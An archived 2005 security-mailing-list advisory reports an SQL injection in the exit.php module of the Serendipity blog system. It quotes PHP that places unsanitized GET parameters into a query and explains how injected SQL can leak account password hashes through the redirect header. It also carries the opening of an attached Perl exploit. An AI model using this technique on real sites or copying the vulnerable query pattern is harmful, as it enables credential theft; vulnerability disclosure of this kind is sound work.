serendipity SQL Injection vulnerability
Date: Wed, 13 Apr 2005 20:22:05 +0400
From: kreon <kre0n@mail.ru.>
To: [email protected]
Subject: serendipity SQL Injection vulnerability
Message-ID: <20050413202205.7e0c8bb1@xaero.tvpro.net.>
Organization: http://adz.void.ru/
X-Mailer: Sylpheed-Claws 0.9.12a (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="Multipart=_Wed__13_Apr_2005_20_22_05_+0400_d.JEscg.7oMaye=."
X-Spam: Not detected
X-Virus-Scanned: antivirus-gw at tyumen.ru
This is a multi-part message in MIME format.
--Multipart=_Wed__13_Apr_2005_20_22_05_+0400_d.JEscg.7oMaye=.
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
ADZ Security Team
Info
Program: serentdipity web blog system
Version: 0.8beta4
Module: exit.php
Bug type: SQL Injection
Vendor site: http://www.s9y.org/
Vendor Informed: Yes
Bug Info
// code start
//.......
$links = serendipity_db_query("SELECT link FROM
{$serendipity['dbPrefix']}references WHERE id = {$_GET['url_id']} AND
entry_id = {$_GET['entry_id']}", true);
//.......
// no checks here...
//.......
if (is_array($links) && isset($links['link'])) {
// URL is valid. Track it.
$url = $links['link'];
}
//......
if (serendipity_isResponseClean($url)) {
header('HTTP/1.0 301 Moved Permanently');
header('Location: ' . $url);
}
//......
// code end
As we see, if we insert some "bad" sql-code into $_GET['url_id'] or
$_GET['entry_id'], server returns in header "Location: xxxx", where is
possible to be an account login/passwd hash :)
Sorry my english :)
Exploit/PoC:
See exploit in attached adz_serendipity.pl
Contact
ADZ Security Team
URL: http://adz.void.ru/
IRC: #adz @ QuakeNet
MAIL: [email protected], [email protected] (for non-russian users)
--Multipart=_Wed__13_Apr_2005_20_22_05_+0400_d.JEscg.7oMaye=.
Content-Type: application/octet-stream;
name="adz_serendipity.pl"
Content-Disposition: attachment;
filename="adz_serendipity.pl"
Content-Transfer-Encoding: base64
IyEvdXNyL2Jpbi9wZXJsCiM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